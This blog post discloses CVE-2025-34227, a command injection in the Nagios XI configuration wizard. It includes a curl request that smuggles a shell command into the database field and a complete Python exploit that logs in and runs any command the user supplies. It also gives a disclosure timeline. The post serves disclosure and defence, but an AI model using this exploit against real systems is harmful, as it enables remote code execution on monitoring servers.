CVE-2025-34227 - Nagios XI Authenticated Command Injection in Configuration Wizard MySQL and PostgreSQL monitoring services leads to Remote Code Execution

Overview

Nagios XI is vulnerable to an authenticated command injection vulnerability in the Configuration Wizard functionality, specifically the PostgreSQL and MySQL Query service monitors (possibly others as well). It is possible to inject shell characters into arguments provided to the service and execute arbitrary system commands on the underlying host as the nagios user.

Technical Details

1. Command Injection in Configuration Wizard MySQL and PostgreSQL monitoring services

The vulnerability is located within /nagiosxi/config/monitoringwizard.php. Unfortunately, this file is protected with Source Guardian, therefore it isn’t possible to do a code walkthrough to identify the exact cause of the vulnerability. Thus far, I have confirmed the command injection is possible in the database and query parameters, however it is likely possible in others.

To recreate the vulnerability, authenticate to an instance of Nagios XI as the nagiosadmin user. Retrieve a valid nagiosxi cookie and nsp, replace the values in the following curl command, and then leverage the curl command to execute the payload within the database parameter below:

$ curl -s \
-H 'Cookie: nagiosxi=<your-session-id-here>' \
--data 'update=1&nsp=<your-nsp-value-here>&step=3&nextstep=5&wizard=mysqlquery&tpl=&hostname=localhost&operation=&selectedhostconfig=&services_serial=&serviceargs_serial=&config_serial=&ip_address=127.0.0.1&port=3306&username=test&password=test&database=information_schema%3Btouch+/tmp/rceproof%3B&queryname=curl+RCE+service&query=SELECT+1&warning=50&check_interval=1&retry_interval=1&critical=200&finishButton=' \
http://192.168.122.9/nagiosxi/config/monitoringwizard.php

This will execute touch /tmp/rceproof as the ; character before and after cause the command to be executed as another shell command. The service curl RCE service takes approximately one minute to appear in the /nagiosxi/includes/components/xicore/status.php?show=services page. Once the service appears, a file /tmp/rceproof should appear, owned by the nagios user:

# ls -lah /tmp/rceproof 
-rw-r--r-- 1 nagios nagios 0 Jun 23 11:47 /tmp/rceproof

This can also be done through the browser wizard by pasting information_schema;touch+/tmp/rceproof; into the database field on the MySQL Query service setup. Finish With Defaults as soon as you see that option. I used 127.0.0.1 and a random username/password combo.

Proof of Concepts

I wrote a simple script to handle auth and the command injection:

import requests
import sys
import re

## Usage
# $ python3 monitoringservice-command-injection.py <target-url> <username> <password> <command>

## Example
# $ python3 monitoringservice-command-injection.py http://192.168.122.9/nagiosxi nagiosadmin password123 'touch /tmp/rceproof'
# [+] Service was added. Watch http://192.168.122.9/nagiosxi/includes/components/xicore/status.php?show=services for the service to appear.
# [*] Make sure to delete the "command injection service" service in the dashboard..

## Set input data
url = sys.argv[1] ## Ex: http://192.168.1.123/nagiosxi/
username = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4]

## Define some constants for use the in the payload/URL
SERVICE_NAME = 'command injection service'
INTERVAL = 1

LOGIN_ENDPOINT = "/login.php"
CONFIGWIZARD_ENDPOINT = "/config/monitoringwizard.php"


def get_nsp_str(text):
    
    nsp_match = re.search(r'var\snsp_str\s=\s"([a-f0-9]+)"', text)
    if nsp_match:
        return nsp_match.group(1)


## Start HTTP session/exploitation requests
with requests.Session() as s:
    s.verify = False

    ## Proxies for Burp. Uncomment if you want to use a proxy
    s.proxies.update(dict.fromkeys(['http','https'],'http://127.0.0.1:8080'))

    ## Login section
    login_url = f"{url}{LOGIN_ENDPOINT}"
    nsp = None
    login_info_req = s.get(login_url)
    
    login_nsp = get_nsp_str(login_info_req.text)
    
    if not login_nsp:
        print("Failed to grab nsp for login")
        exit()
    
    ### Build login request
    login_data = {
        "nsp": login_nsp,
        "page": "auth",
        "pageopt": "login",
        "username": username,
        "password": password,
        "loginButton": ""
    }

    login_req = s.post(login_url, data=login_data)

    ### Confirm redirect to the `index.php` page
    if 'index.php' not in login_req.url:
        print("[-] Invalid credentials")
        exit()

    ### get fresh nsp for config wizard
    configwizard_req = s.get(f"{url}{CONFIGWIZARD_ENDPOINT}")
    configwizard_nsp = get_nsp_str(configwizard_req.text)
    

    ### Configuration for mysql query payload with command injection
    configwizard_servicecreate_payload = {
        "update": 1,
        "nsp": configwizard_nsp,
        "step": 3,
        "nextstep": 5,
        "wizard": "mysqlquery",
        "tpl": '',
        "hostname": "localhost",
        "operation": '',
        "selectedhostconfig": '',
        "services_serial": '',
        "serviceargs_serial": '',
        "config_serial": '',
        "ip_address": "127.0.0.1",
        "port": 3306,
        "username": "test",
        "password": "test",
        "database": f"information_schema;{command};",
        "hostname": "localhost",
        "password": "test",
        "queryname": SERVICE_NAME,
        "query": "SELECT 1",
        "warning": 50,
        "check_interval": INTERVAL,
        "retry_interval": INTERVAL,
        "critical": 200,
        "finishButton": ''
    }

    ### Add service for malicious mysql query

    configwizard_addservice_req = s.post(f"{url}{CONFIGWIZARD_ENDPOINT}", data=configwizard_servicecreate_payload)

    ### Some cursory checks to make sure the servie added. 
    if configwizard_addservice_req.ok and SERVICE_NAME in configwizard_addservice_req.text:
            print(f"[+] Service was added. Watch {url}/includes/components/xicore/status.php?show=services for the service to appear.")
            print(f"[*] Make sure to delete the \"{SERVICE_NAME}\" service in the dashboard.")
    else:
        print("[-] Something failed adding the service")
        exit()

Exploit source

A copy of the above python script is also available here for easy curl/wget: CVE-2025-34227_nagios-command-injection.txt

References

  • https://www.nagios.com/changelog/
  • https://www.nagios.com/products/security/
  • https://www.vulncheck.com/advisories/nagios-xi-config-wizard-auth-command-injection
  • https://www.cve.org/cverecord?id=CVE-2025-34227

Timeline

Date Update
23JUN2025 Issue reported to security@nagios.com
01JUL2025 Receipt of vulnerabilities acknowledged by Nagios
02SEP2025 Requested update on vulnerability
03SEP2025 Nagios replies to notify that fixes will be relased soon.
25SEP2025 Observed updates released at https://www.nagios.com/changelog/
25SEP2025 VulnCheck releases an advisory and issues CVE-2025-34227
13OCT2025 This article is published.

2025

Headless Pentesting Machine Setup

Overview When I was starting out in penetration testing, it always confused me how folks would say they worked using a simple CLI only linux machine in a VPS...

Back to top ↑

2021

Back to top ↑

2020

CVE-2020-28328 SuiteCRM RCE

Remediation testing I found another vulnerability during remediation testing, and that writeup can be found here.

Terminal Access on routers via UART

How to get a Shell on your Router (hopefully) Vulnerability hunting is hard, and it’s even harder if you don’t have access to the source. Hardware devices ma...

Back to top ↑